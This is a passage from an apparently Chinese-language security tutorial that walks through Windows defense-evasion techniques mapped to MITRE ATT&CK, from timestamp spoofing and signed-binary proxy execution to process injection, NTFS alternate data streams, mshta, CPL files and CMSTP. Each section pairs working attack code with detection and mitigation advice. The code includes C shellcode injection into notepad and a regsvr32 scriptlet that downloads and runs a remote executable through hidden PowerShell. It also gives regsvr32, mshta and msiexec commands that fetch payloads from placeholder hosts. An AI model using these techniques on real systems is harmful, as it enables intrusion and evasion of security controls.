使用進程監視工具來監視MSBuild.exe,dnx.exe,rcsi.exe,WinDbg.exe,cdb.exe和tracker.exe的執行和參數, 將這些二進制文件的最近調用與已知良好參數的調用進行比較,已確定異常活動和潛在的對抗活動。這些實用程序很可能會被軟件開發人員使用或用于其他與軟件開發相關的任務,因此,如果該程序存在并在該用途之外進行使用,則該事件可能是可疑的。對調用實用程序之前和之后使用的命令參數進行分析, 也可能對確定該可執行文件的來源和目的有幫助。
參考鏈接
Attck:https://attack.mitre.org/techniques/T1127/
MSBuild:https://docs.microsoft.com/zh-cn/visualstudio/msbuild/msbuild?view=vs-2019
Use MSBuild To Do More:https://3gstudent.github.io/3gstudent.github.io/Use-MSBuild-To-Do-More/
5、時間戳偽裝
原理及代碼介紹
系統中的每一個文件,都有著與時間有關的屬性,如文件創建時間、最后一次修改時間及文件最后一次的訪問時間等屬性。為了使某些文件看起來更像是原本就存在于文件夾中,而不是后來新加入的,惡意軟件通常會修改文件的時間戳,對于某些取證工具或者分析人員而言,經過調整文件時間與大部分已有文件一致,使得文件不會顯得那么明顯,從而能夠逃避部分主機取證分析。
Att&CK中列舉了諸多APT攻擊所采用的更改時間戳的防御手段,如偽造PE文件編譯時間、修改為desktop.ini文件的時間戳、或是修改惡意文件為Kernel32.dll的文件時間等等,在進行分析的過程中,文件的時間戳也是判斷文件來源及合法性的一個有利依據,通過將文件的時間戳改為和系統文件一致,或許可以干擾人工分析的視線,如下的代碼演示了利用系統文件Kernel32.dll的時間戳來偽造任意文件的時間戳的過程。
bool change_time_usekernel32(TCHAR* file_path)
{
bool ret = false;
TCHAR sysdir[MAX_PATH];
TCHAR kernel32_path[MAX_PATH];
HANDLE kernel32_handle = INVALID_HANDLE_VALUE;
HANDLE targetfile_handle = INVALID_HANDLE_VALUE;
FILETIME create_time;
FILETIME lastaccess_time;
FILETIME lastwrite_time;
//獲取kernel32.dll模塊的文件時間
GetSystemDirectory(sysdir, MAX_PATH);
wsprintf(kernel32_path, _TEXT("%s%s"), sysdir, _TEXT("\\kernel32.dll"));
kernel32_handle = CreateFile(kernel32_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (kernel32_handle == INVALID_HANDLE_VALUE)
{
goto Error_Exit;
}
if(!GetFileTime(kernel32_handle, &create_time, &lastaccess_time, &lastwrite_time))
{
goto Error_Exit;
}
//重置目標文件的文件時間
targetfile_handle = CreateFile(file_path, FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (targetfile_handle == INVALID_HANDLE_VALUE)
{
goto Error_Exit;
}
if (!SetFileTime(targetfile_handle, &create_time, &lastaccess_time, &lastwrite_time))
{
goto Error_Exit;
}
ret = true;
Error_Exit:
if (targetfile_handle != INVALID_HANDLE_VALUE)
{
CloseHandle(targetfile_handle);
}
if (kernel32_handle != INVALID_HANDLE_VALUE)
{
CloseHandle(kernel32_handle);
}
return ret;
}
int _tmain(int argc, _TCHAR* argv[])
{
change_time_usekernel32(_TEXT("test.txt"));
return 0;
}
Kernel32的時間戳如下:

修改前后的文件時間如下:

如果將惡意文件放在系統目錄,并偽裝成Kernel32的時間戳,對于部分人工分析取證手段會具有一定迷惑性。
檢查及限制方案
-
可以使用文件修改監視工具來監視文件的時間戳更改情況,并記錄日志以便后續進行分析和篩查。
-
這種攻擊技術無法通過預防性控制來緩解,因為它基于濫用系統功能。
參考鏈接
Att&ck:https://attack.mitre.org/techniques/T1099/
6、PubPrn代理腳本代碼執行
原理及代碼介紹
隨著惡意的腳本文件不斷增加,在某些系統環境中,管理人員可能使用白名單來阻止未簽名的Windows Script Host(WSH)腳本文件運行,但是通過將惡意代碼“注入”到Microsoft簽名的腳本中,使用受信任證書簽名的腳本代理執行惡意腳本文件,從而可以繞過系統中的簽名驗證和部分殺軟的應用程序白名單驗證繞過。
Windows系統中存在的PubPrn.vbs由Microsoft簽名,惡意利用該腳本可以代理遠程腳本文件的執行,以突破部分安全限制。利用的命令如下:
pubprn.vbs 127.0.0.1 script:http://127.0.0.1/sc.sct
Pubprn腳本的位置在system32的子目錄中,本身是用于打印相關的工作。

在其腳本中,68行的位置使用了來自參數中的內容,將該內容傳遞給GetObject()函數, 鑒于此使用者可以在此處指定網絡文件以執行自定義的腳本文件。Pubprn的利用只是一個樣例,安全人員以此為基礎可以了解此類內置腳本的利用方法,以便在安全分析過程識破攻擊者的意圖。

以下為打開計算器的腳本文件

執行該命令,腳本得以執行彈出計算器

檢查及限制方案
檢查方法:
審查和監視腳本執行中的命令行參數,必要的時候審查參數和腳本執行流程,已確定是否被惡意利用。
緩解措施:
在特定環境中,對于不必要的簽名腳本,將系統配置為阻止腳本執行的應用程序白名單,以防止對手潛在的濫用。
參考鏈接
-
Pubprn.vbs : https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc753116(v=ws.11)
7、簽名二進制程序代理執行
原理及代碼介紹
使用受信任的數字證書簽名的二進制文件可以在受數字簽名驗證保護的Windows系統上執行,Windows中默認安裝了一些由Microsoft簽名的二進制文件,可用于代理其他文件的執行。攻擊者可能會濫用這些行為來執行惡意文件,從而可以繞過操作系統中的殺毒軟件應用程序白名單檢測及操作系統的數字簽名驗證。
Msiexec.exe
misexec.exe 是Windows Installer 的命令行程序,該工具主要用于執行后綴為.msi的軟件安裝程序,攻擊者可以使用msiexec.exe來啟動惡意的msi文件以執行惡意代碼,可以使用msiexec來啟動本地或者網絡上可訪問的MSI文件,另外msiexec.exe也可以用于執行DLL。
攻擊者常用的Msiexec.exe 命令行參數如下:
msiexec.exe /q /i "C:\path\to\file.msi"
msiexec.exe /q /i http[:]//site[.]com/file.msi
msiexec.exe /y "C:\path\to\file.dll"
為了演示濫用msiexec.exe發起攻擊,介紹一種msi文件的構建方法。通過使用Advanced Installer 工具,可以快速構建MSI文件,并執行腳本代碼、可執行程序或者是調用動態鏈接庫函數。打開Advanced Installer創建一個simple類型的安裝工程,并在Custom Actions頁面加入自定義的操作。

可以按需要添加希望執行的操作及條件,其中支持的Action非常豐富,下面以運行Powershell腳本為例,讓msi文件在運行之初,執行一段Powershell腳本。

編譯生成MSI文件后,通過Msiexec調用該MSI文件執行情況如下。PowerShell代碼在MSI文件加載之初得以執行。

Mavinject.exe
Mavinject是Windows上的一個合法組件,使用該程序可以向正在運行的進程中注入任意代碼執行,由于它是Windows上的常見組件且具有數字簽名,常被攻擊者惡意使用以隱蔽執行代碼。通過如下的方式調用Mavinject,可以將DLL注入到運行的進程中:
MavInject.exe <PID> /INJECTRUNNING <PATH DLL>
Odbcconf文件
Odbcconf.exe是Windows系統默認自帶的工具程序,可以用于配置開放式數據庫(OBDC)驅動程序和數據源名稱。使用odbcconf工具可以加載DLL并執行,其命令行參數如下:
odbcconf.exe /S /A {REGSVR "C:\Users\Public\file.dll"}
檢查及限制方案
-
監視可能用于代理惡意代碼執行的已簽名二進制文件的進程和命令行參數,例如msiexec.exe從網上下載MSI文件并執行,可能表明存在異常。將各種活動與其他可疑行為相關聯,以減少可能由于用戶和管理員的良性使用而導致的誤報。
-
如用戶環境中更需要使用這些二進制文件,可以將它們的執行限制在需要使用它們的特權賬戶或者租中,以減少被惡意濫用的機會。
參考鏈接
-
Mavinject: https://reaqta.com/2017/12/mavinject-microsoft-injector/
-
OBDC 詳請:https://docs.microsoft.com/zh-cn/sql/odbc/odbcconf-exe?view=azuresqldb-mi-current
8、Regsvr32代理代碼執行
原理及代碼介紹
Regsvr32是Windows系統中的一個命令行程序,用于在Windows系統上對象鏈接和嵌入控件的注冊及卸載工作,而攻擊者同樣可以利用regsvr32來執行任意的二進制文件。
攻擊者會利用regsvr32來代理代碼執行,以避免觸發安全工具的提示,regsvr32由Microsoft簽名的文件,由于普通程序通常使用regsvr32進行正常操作,所以安全工具可能無法有效的區分regsvr32進程的執行以及由regsvr32加載的模塊是否被惡意使用。
通過Regsvr加載系統中的scrobj.dll,可以依靠其提供的com接口解析并執行sct腳本,從而繞過進程白名單限制,而執行惡意代碼。然后Regsvr具有網絡和代理功能,它允許具有普通特權的用戶下載并執行遠程服務器上托管的腳本。所有這些操作都是通過與操作系統一起安裝的已簽名Microsoft二進制文件完成的。由于腳本是遠程托管的,并且由合法的Microsoft二進制文件運行,因此可以繞過一些因將regsvr列入白名單的安全軟件的許多常規檢測和阻止機制。這種技術的變種通常被稱為“Squiblydoo”攻擊,并已在實際攻擊行動中使用。
Squiblydoo利用二進制regsvr32來下載一個XML文件,該文件包含用于在受害機器上執行代碼的script。攻擊者可以利用ActiveX并將自定義的Vb或JS嵌入在XML文件中,以進行任何類型的攻擊。其調用命令如下:
regsvr32.exe /s /i:http://c2/script.sct scrobj.dll
命令行中的sct文件(實際上是XML文件)中具有一個注冊標記,其中可以引用VBScript或Jscript代碼,該文件可能是任意后綴名,不一定必須是.sct,下面的示例代碼會調用計算器并執行。
<?XML version="1.0"?>
<scriptlet>
<registration
progid="TESTING"
classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
<script language="JScript">
<![CDATA[
var foo = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</scriptlet>
前面介紹過了還可以引用網絡腳本并解析執行,將其中的JS代碼改為如下,通過JS啟動powershell,傳遞命令下載并執行程序.
<?XML version="1.0"?>
<scriptlet>
<registration
progid="DownAndExec"
classid="{A1112231-0000-0000-3000-000DA00DABFC}" >
<script language="JScript">
<![CDATA[
var ws = new ActiveXObject("WScript.Shell");
var ps = "powershell.exe -ExecutionPolicy Bypass -windowstyle hidden -command ";
var dn = "$down = New-Object System.Net.WebClient;\
$url = 'http://192.168.xx.xx/baidu.exe';\
$file = '%TMP%\\baidu.exe';$down.DownloadFile($url,$file);\
$exec = New-Object -com shell.application;$exec.shellexecute($file);\
exit;";
ws.Exec(ps + dn);
]]>
</script>
</registration>
</scriptlet>
傳遞如下的命令,在本地搭建http服務,嘗試通過網絡下載該腳本并執行
regsvr32.exe /s /i:http://192.168.xx.xx/download.txt scrobj.dll
最后成功下載并執行該腳本,并進一步下載并執行baidu.exe,該程序即為Dbgview

檢查及限制方案
使用進程監視工具監視regsvr32的執行和參數,將regsvr32的最近調用與已知良好參數和加載文件的記錄進行比較,已確定是否存在異常和潛在的對抗活動。
參考鏈接
9、進程注入
原理及代碼介紹
進程注入是一種在獨立的活動進程的地址空間中執行任意代碼的方法,在另一個進程的上下文中運行代碼,會允許訪問該進程的內存、系統資源、網絡資源以及可能的特權提升。由于執行的代碼由合法的程序代理執行,因此通過進程注入執行也可能會繞過部分安全產品的防病毒檢測或進程白名單檢測。
Windows
有多種方法可以將代碼注入正在運行的進程,在Windows系統中的實現方式主要包括以下列出的幾類:
動態鏈接庫(DLL)注入:在目標進程的內存中寫入惡意DLL的路徑,然后通過創建遠程線程來調用執行。
可執行代碼(Shellcode)注入:將惡意代碼直接寫入目標進程(在磁盤上不存儲文件),然后通過創建遠程線程或者其他方式來觸發代碼執行。
線程執行劫持:掛起目標進程的執行線程,將惡意代碼或者DLL路徑寫入到目標進程的線程中,然后恢復線程執行。此方法與僵尸進程相似。
異步過程調用(APC):將惡意代碼附加到目標進程的APC隊列中,當線程進入可改變狀態時,將執行排隊的APC函數。APC注入的一種變體是,創建一個暫停的進程,在該進程中,惡意代碼可以通過APC在該進程的入口點之前獲得執行機會。
線程本地存儲(TLS):TLS回調注入涉及在可執行(PE)文件中操縱指針,以達到在執行文件的原有入口點之前首先執行惡意代碼,以達到注入代碼執行的目的。
Mac及Linux
Linux和OS X/macos系統中的注入方式大致包括:
LD_PRELOAD、LD_LIBRARY_PATH(Linux)、DYLD_INSERT_LIBRARIES(Mac OS X)環境變量或dlfcn應用程序編程接口(API)可用于在程序的運行過程過程中動態加載庫(共享庫)。
Ptrace系統調用 可用于附加到正在運行的進程并在運行時對其進行修改。
/ proc / [pid] / mem提供對進程內存的訪問,并可用于向進程讀取/寫入任意數據。由于其復雜性,該技術非常罕見。
VDSO劫持:通過操縱從linux-vdso.so共享庫映射的代碼存根,對ELF二進制文件執行運行時注入。
惡意軟件通常利用進程注入來訪問系統資源,從而可以對持久性和系統環境進行修改,使用命名管道或者是其他的進程間通訊(IPC)機制作為通訊通道,更復雜的樣本可以執行多個過程注入以分割模塊并進一步逃避檢測。
下面以Windows為例,演示一下通過創建遠程線程而進行可執行代碼注入的操作,首先還是將可執行文件中的代碼以16進制值拷貝取出

如下的注入操作首先創建了記事本進程,然后在該進程中申請空間并寫入代碼,最后創建遠程線程執行,完畢后結束進程并退出。
unsigned char data[304] = {
0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x14, 0x53, 0x8D, 0x45, 0xEC, 0xC7, 0x45, 0xEC, 0x75, 0x73, 0x65,
0x72, 0x33, 0xDB, 0xC7, 0x45, 0xF0, 0x33, 0x32, 0x2E, 0x64, 0x50, 0xB9, 0x4C, 0x77, 0x26, 0x07,
0x66, 0xC7, 0x45, 0xF4, 0x6C, 0x6C, 0x88, 0x5D, 0xF6, 0xC7, 0x45, 0xF8, 0x74, 0x6F, 0x70, 0x73,
0x66, 0xC7, 0x45, 0xFC, 0x65, 0x63, 0x88, 0x5D, 0xFE, 0xE8, 0x1A, 0x00, 0x00, 0x00, 0xFF, 0xD0,
0x53, 0x8D, 0x45, 0xF8, 0xB9, 0x45, 0x83, 0x56, 0x07, 0x50, 0x50, 0x53, 0xE8, 0x07, 0x00, 0x00,
0x00, 0xFF, 0xD0, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0x83, 0xEC, 0x10, 0x64, 0xA1, 0x30, 0x00, 0x00,
0x00, 0x53, 0x55, 0x56, 0x8B, 0x40, 0x0C, 0x57, 0x89, 0x4C, 0x24, 0x18, 0x8B, 0x70, 0x0C, 0xE9,
0x8A, 0x00, 0x00, 0x00, 0x8B, 0x46, 0x30, 0x33, 0xC9, 0x8B, 0x5E, 0x2C, 0x8B, 0x36, 0x89, 0x44,
0x24, 0x14, 0x8B, 0x42, 0x3C, 0x8B, 0x6C, 0x10, 0x78, 0x89, 0x6C, 0x24, 0x10, 0x85, 0xED, 0x74,
0x6D, 0xC1, 0xEB, 0x10, 0x33, 0xFF, 0x85, 0xDB, 0x74, 0x1F, 0x8B, 0x6C, 0x24, 0x14, 0x8A, 0x04,
0x2F, 0xC1, 0xC9, 0x0D, 0x3C, 0x61, 0x0F, 0xBE, 0xC0, 0x7C, 0x03, 0x83, 0xC1, 0xE0, 0x03, 0xC8,
0x47, 0x3B, 0xFB, 0x72, 0xE9, 0x8B, 0x6C, 0x24, 0x10, 0x8B, 0x44, 0x2A, 0x20, 0x33, 0xDB, 0x8B,
0x7C, 0x2A, 0x18, 0x03, 0xC2, 0x89, 0x7C, 0x24, 0x14, 0x85, 0xFF, 0x74, 0x31, 0x8B, 0x28, 0x33,
0xFF, 0x03, 0xEA, 0x83, 0xC0, 0x04, 0x89, 0x44, 0x24, 0x1C, 0x0F, 0xBE, 0x45, 0x00, 0xC1, 0xCF,
0x0D, 0x03, 0xF8, 0x45, 0x80, 0x7D, 0xFF, 0x00, 0x75, 0xF0, 0x8D, 0x04, 0x0F, 0x3B, 0x44, 0x24,
0x18, 0x74, 0x20, 0x8B, 0x44, 0x24, 0x1C, 0x43, 0x3B, 0x5C, 0x24, 0x14, 0x72, 0xCF, 0x8B, 0x56,
0x18, 0x85, 0xD2, 0x0F, 0x85, 0x6B, 0xFF, 0xFF, 0xFF, 0x33, 0xC0, 0x5F, 0x5E, 0x5D, 0x5B, 0x83,
0xC4, 0x10, 0xC3, 0x8B, 0x74, 0x24, 0x10, 0x8B, 0x44, 0x16, 0x24, 0x8D, 0x04, 0x58, 0x0F, 0xB7,
0x0C, 0x10, 0x8B, 0x44, 0x16, 0x1C, 0x8D, 0x04, 0x88, 0x8B, 0x04, 0x10, 0x03, 0xC2, 0xEB, 0xDB
};
bool inject_to_notepad()
{
bool ret = false;
PBYTE sc;
DWORD cb;
HANDLE nthd;
STARTUPINFO si;
PROCESS_INFORMATION pi;
memset(&si, 0, sizeof(si));
memset(&pi, 0, sizeof(pi));
sc = NULL;
si.cb = sizeof(si);
if(!CreateProcess(_TEXT("c:\\windows\\system32\\notepad.exe"), NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))
{
goto SAFE_EXIT;
};
sc = (PBYTE)VirtualAllocEx(pi.hProcess, NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (sc == NULL)
{
goto SAFE_EXIT;
}
if (!WriteProcessMemory(pi.hProcess, sc, data, sizeof(data)/sizeof(char), &cb) || cb != sizeof(data)/sizeof(char))
{
goto SAFE_EXIT;
}
nthd = CreateRemoteThread(pi.hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)sc, NULL, NULL, NULL);
if (nthd == NULL)
{
goto SAFE_EXIT;
}
WaitForSingleObject(nthd, INFINITE);
ret = true;
SAFE_EXIT:
if (sc != NULL)
{
VirtualFreeEx(pi.hProcess, sc, 0, MEM_RELEASE);
}
if (pi.hProcess != NULL)
{
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hProcess);
}
return ret;
}
int _tmain(int argc, _TCHAR* argv[])
{
inject_to_notepad();
return 0;
}
執行后情況如下:

通過Process Hacker檢查一下記事本的線程,發現我們遠程創建的線程已經執行,執行了MessageBox()函數

檢查及限制方案
檢查方法:
-
通常為完成進程注入都需要執行一系列操作,放在程序中體現便是需要調用一系列相關API,在Windows系統中可以通過監控程序調用的API序列確定是否有進程注入相關操作。如CreateRemoteThread,SuspendThread / SetThreadContext / ResumeThread,QueueUserAPC / NtQueueApcThread之類的API調用可用于修改另一個進程內的內存(如WriteProcessMemory)的API調用。
-
在Linux系統中監視特定的調用,如(例如ptrace系統調用,LD_PRELOAD環境變量的使用或dlfcn動態鏈接API調用),由于其專門的性質,不應生成大量數據,并且可以是檢測過程注入的有效方法。
-
監視進程和命令行參數以了解在代碼注入發生之前或之后可以執行的操作,并將信息與相關事件信息相關聯。還可以使用PowerShell和諸如PowerSploit 之類的工具執行代碼注入,因此可能需要其他PowerShell監視才能涵蓋此行為的已知實現。
緩解方案:
進程注入屬于濫用系統功能導致的安全問題
-
終端行為防御:可以安裝HIPS軟件,監測注入過程中調用的常見API序列,來識別并阻止某些類型的進程注入操作。
-
特權賬戶管理:針對Linux內核系統,通過僅限制特權用戶使用ptrace來利用Yama減輕基于ptrace的進程注入。其他緩解措施包括部署安全內核模塊,這些模塊提供高級訪問控制和流程限制,例如SELinux,grsecurity和AppAmour。
參考鏈接
Att&CK:https://attack.mitre.org/techniques/T1055/
10、利用NTFS ADS進行數據隱藏
原理及代碼介紹
在NTFS文件系統中,每個NTFS格式的分區都包含一個主文件表結構(Master File Table),這個表結構中保存了該分區上每個文件及目錄的相關信息。在MFT結構中還保存著文件屬性, 如 Extended Attributes (EA) 及 Data(當存在多個數據屬性時稱為Alternate Data Streams ,交換數據流,即ADS),而用戶可以為文件新建交換數據流,并將存儲任意二進制數據在其中,如將完整的文件在其中,而在Windows系統的資源管理器中,載體文件不會有任何變化(如文件大小、時間戳),攻擊者完全可以利用該特性將完整的文件隱藏在交換流中。
ADS的應用,這里筆者將舉個簡單的例子進行說明, 相信讀者有通過Internet Explorer下載過可執行文件,然后在運行的時候收到如下圖所示的警告,這是其實就是ADS的運用。

在文件下載完成后, IE會在文件上加入一個ADS。該ADS將存儲一個標簽,以便Windows了解文件是從哪個區域下載的。

可以通過Powershell和stream.exe(sysinternals工具包中有提供)來操作(新增、查看、修改、刪除)文件中的ADS,用如下的命令查看

該文件是經IE下載的,其存在一個名為“Zone.Identfier”的流,其中保存了文件是從IE下載的標示,我們通過將文件復制到真機,再拖回虛擬機再看一下,可以看到同樣的文件,其附加的屬性已經不存在。

ADS的操作也可以通過CMD命令進行操作,其操作方法如下:
<載體文件路徑>:<ADS名稱>
如使用echo命令創建并寫入數據到ADS中:
echo for test > sc.dat:stream

可見的是,文件大小為0。使用stream.exe可以看到存在一個名為stream的交換流

攻擊者可能會將惡意數據或者二進制文件存儲在文件的備用流(ADS)中,而不是直接存儲在文件中,這種技術可用于文件隱藏、防病毒軟件靜態掃描、主機取證分析等安全手段的繞過。
如下的代碼演示在ADS中隱藏完整的文件及存取等操作。
bool set_ads(TCHAR* host_file,TCHAR* payload_filepath)
{
bool ret = false;
BYTE read_buf[0x1000];
DWORD read_cb, write_cb;
TCHAR finalpath_buf[MAX_PATH * 2];
HANDLE final_handle = INVALID_HANDLE_VALUE;
HANDLE payload_handle = INVALID_HANDLE_VALUE;
wsprintf(finalpath_buf, _TEXT("%s:stream_name"), host_file);
final_handle = CreateFile(finalpath_buf, FILE_ALL_ACCESS,
FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (final_handle == INVALID_HANDLE_VALUE)
{
goto SAFE_EXIT;
}
payload_handle = CreateFile(payload_filepath, FILE_READ_ACCESS,
FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (payload_handle == INVALID_HANDLE_VALUE)
{
goto SAFE_EXIT;
}
do
{
if (!ReadFile(payload_handle, read_buf, 0x1000, &read_cb, NULL))
{
goto SAFE_EXIT;
}
if (!WriteFile(final_handle, read_buf, read_cb, &write_cb, NULL) && write_cb != read_cb)
{
goto SAFE_EXIT;
}
if (read_cb != 0x1000)
{
break;
}
} while (true);
ret = true;
SAFE_EXIT:
if (final_handle != INVALID_HANDLE_VALUE)
{
CloseHandle(final_handle);
}
if (payload_handle != INVALID_HANDLE_VALUE)
{
CloseHandle(payload_handle);
}
return ret;
}
bool read_ads(TCHAR* host_path, TCHAR* stream_name, TCHAR* save_path)
{
bool ret = false;
BYTE read_buf[0x1000];
DWORD read_cb, write_cb;
TCHAR finalpath_buf[MAX_PATH * 2];
HANDLE stream_handle = INVALID_HANDLE_VALUE;
HANDLE save_handle = INVALID_HANDLE_VALUE;
wsprintf(finalpath_buf, _TEXT("%s:%s"), host_path, stream_name);
stream_handle = CreateFile(finalpath_buf, FILE_ALL_ACCESS,
FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (stream_handle == INVALID_HANDLE_VALUE)
{
goto SAFE_EXIT;
}
save_handle = CreateFile(save_path, FILE_WRITE_ACCESS,
FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (save_handle == INVALID_HANDLE_VALUE)
{
goto SAFE_EXIT;
}
do
{
if (!ReadFile(stream_handle, read_buf, 0x1000, &read_cb, NULL))
{
goto SAFE_EXIT;
}
if (!WriteFile(save_handle, read_buf, read_cb, &write_cb, NULL) && write_cb != read_cb)
{
goto SAFE_EXIT;
}
if (read_cb != 0x1000)
{
break;
}
} while (true);
ret = true;
SAFE_EXIT:
if (stream_handle != INVALID_HANDLE_VALUE)
{
CloseHandle(stream_handle);
}
if (save_handle != INVALID_HANDLE_VALUE)
{
CloseHandle(save_handle);
}
return ret;
}
int _tmain(int argc, _TCHAR* argv[])
{
if(set_ads(_TEXT("c:\\windows\\tasks\\sc.dat"), _TEXT("help.txt")))
{
_tprintf(_TEXT("set fail!!!\r\n"));
}
if(read_ads(_TEXT("c:\\windows\\tasks\\sc.dat"),_TEXT("stream_name"), _TEXT("help_fromads.txt")))
{
_tprintf(_TEXT("read fail!!!\r\n"));
}
return 0;
}
檢查及限制方案
-
通過dir /r命令可以顯示目錄中含有ADS的文件,在找到不合法的交換流后刪除掉即可。
-
通過Sysinternals提供的Streams工具來查詢文件是否具有ADS,同時可以用該工具刪除
-
使用Powershell命令來與ADS交換和操作,如Get-Item,Set-Item,Remove-Item和Get-ChildItem .
參考鏈接
-
Microsoft ADS:https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/
11、Mshta代理執行腳本代碼
原理及代碼介紹
Mshta.exe 是執行Microsoft HTML 應用程序(HTA)的內置工具,在Windows系統中默認自帶該工具。HTA文件的擴展名為“.hta”, HTA是獨立的應用程序,他們使用與Internet Explorer相同的模型和技術執行,但是并不通過瀏覽器進行執行,而在瀏覽器之外。
攻擊者可以通過制作惡意HTA文件(如帶有惡意Javascript或VBScript代碼執行)并調用Mshta.exe執行以繞過系統或是反病毒軟件提供的應用程序白名單檢測、數字證書驗證等安全檢查。
可以直接調用Mshta.exe并傳遞腳本代碼進行執行:
mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))
也可以調用Mshta并傳遞hta文件URL進行下載執行:
mshta http[:]//webserver/payload[.]hta
通過Mshta.exe代理執行腳本代碼,可以用于繞過沒有阻止其執行的應用程序白名單限制解決方案,由于mshta在Internet Explorer的安全上下文之外執行,因此它也繞過了瀏覽器安全設置。
下面將分別列舉攻擊者的2種利用手段:
1、 mshta直接執行腳本代碼
mshta about:”<script language = “vbscript” src=”http://127.0.0.1/test.vbs”> code </script>”
在本地搭建http服務器將test.vbs加載進去

執行CMD命令啟動mshta

2、 mshta執行hta腳本文件
構建如下的HTA腳本,其中引用外部的腳本文件

執行情況如下

檢查及限制方案
檢查方法:
-
使用進程監視工具來監視mshta.exe的執行和參數。
-
在命令行中尋找執行原始腳本或混淆腳本的mshta.exe。
-
將mshta.exe的最近調用與已知良好參數的歷史執行記錄進行對比,已確定異常和潛在的對抗活動。
緩解方案:
-
如果在特定環境中mshta.exe不是必須的, 可以考慮刪除或者禁用該組件。
-
修改系統配置或者殺軟配置,阻止mshta.exe的執行,或者將該文件移除出應用程序白名單,以防止被潛在的攻擊者濫用行為。
參考鏈接
-
Introduction to HTML Applications (HTAs):[https://docs.microsoft.com/en-us/previous-versions//ms536496(v=vs.85)?redirectedfrom=MSDN]
12、控制面板文件代碼執行
原理及代碼介紹
控制面板的每一項一般都會對應一個.CPL 文件,這些文件存于系統目錄下,你可以指定控制面板中要顯示的項目,也可以隱藏。當啟動控制面板時,Windows\System 文件夾中的.cpl 文件會自動加載。
以“.CPL”擴展名結尾的文件其實是“.dll”文件,用IDA打開可以發現CPL文件都導出了一個CPLApplet函數。

函數CPLApplet是控制面板應用程序的入口點,它被控制面板管理程序自動調用,并且是個回調函數,注意:CPL文件一定要把函數CPLApplet導出,這樣控制面板才能找到程序的入口點。
當啟動控制面板時,它會搜索Windows或System32或注冊表的相應條目目錄下的文件,并把以CPL作為擴展名的文件載入,它調用CPL文件的導出函數CPLApplet(),發送消息給該函數。所以,控制面板應用程序要處理控制面板發送過來的消息,即在函數CPLApplet中進行處理,該函數沒有默認的行為。如果一個CPL文件中實現了多個控制面板程序,那么只會有一個CPLApplet函數,它負責所有的控制面板應用程序。
開啟默認規則后會攔截exe和腳本的執行,并沒有限制CPL文件,因此可以繞過Windows AppLocker的限制規則。當然也可以繞過一些應用程序白名單
Cpl文件按照dll文件的編寫就行,如果只是簡單的運行cmd,可以不導出函數CPLApplet。
extern "C" __declspec(dllexport) LONG CPLApplet(HWND hwndCPl, UINT msg, LPARAM lParam1, LPARAM lParam2)
{
return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
WinExec("cmd", SW_SHOW);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
編譯成功后,將dll后綴名改成cpl,并修改注冊表項
HKEY hKey;
DWORD dwDisposition;
char path [] = "C:\\testcpl”;
RegCreateKeyExA(HKEY_CURRENT_USER,
? "Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);
RegSetValueExA(hKey, “testcpl.cpl”, 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path))));

在控制面板被阻止打開的情況下,可以使用以下位置作為啟動控制面板的替代方法。
· C:windowssystem32control.exe
· AppDataRoamingMicrosoftWindowsStart MenuProgramsAccessoriesSystem ToolsControl Panel.lnk
· shell:::{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}
· shell:::{26EE0668-A00A-44D7-9371-BEB064C98683}
· shell:::{ED7BA470-8E54-465E-825C-99712043E01C}
· My Control Panel.{ED7BA470-8E54-465E-825C-99712043E01C}
運行效果圖
當運行控制面板時,cmd.exe自動啟動。

檢查及限制方案
監視和分析與CPL文件關聯的項的活動,查找系統上未注冊和潛在惡意文件。
將控制面板項的存儲和執行限制在受保護目錄上,例如C:\Windows
參考鏈接
https://attack.mitre.org/techniques/T1196/
13、CMSTP配置文件參數利用
原理及代碼介紹
CMSTP.exe是用于安裝Connection Manager服務配置文件的命令行程序。程序接受INF配置文件作為參數。這項攻擊手段的關鍵點就在于配置文件。攻擊者可能會向CMSTP.exe提供受惡意命令感染的INF文件,以腳本(SCT)和DLL的形式執行任意代碼。它是一個受信任的Microsoft二進制文件,位于以下兩個Windows目錄中:
C:\Windows\System32\cmstp.exe
C:\Windows\SysWOW64\cmstp.exe
AppLocker默認規則允許在這些文件夾中執行二進制文件,因此我們可以用它來作為bypass的一種方法。使用這個二進制文件可以繞過AppLocker和UAC。因為傳輸的并不是二進制文件,所以也會繞過一些殺軟的白名單。
配置文件可以通過安裝啟動CMAK(Connection Manager Administration Kit)來創建,關于CMAK可以通過Microsoft文檔進行了解。在這里就不具體演示獲得INF文件的過程了,可以通過以下鏈接獲得:INF文件。
INF文件的內容有很多項,我們想要利用INF文件,只需要保留一些重要的項,以下是簡化的INF文件內容
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
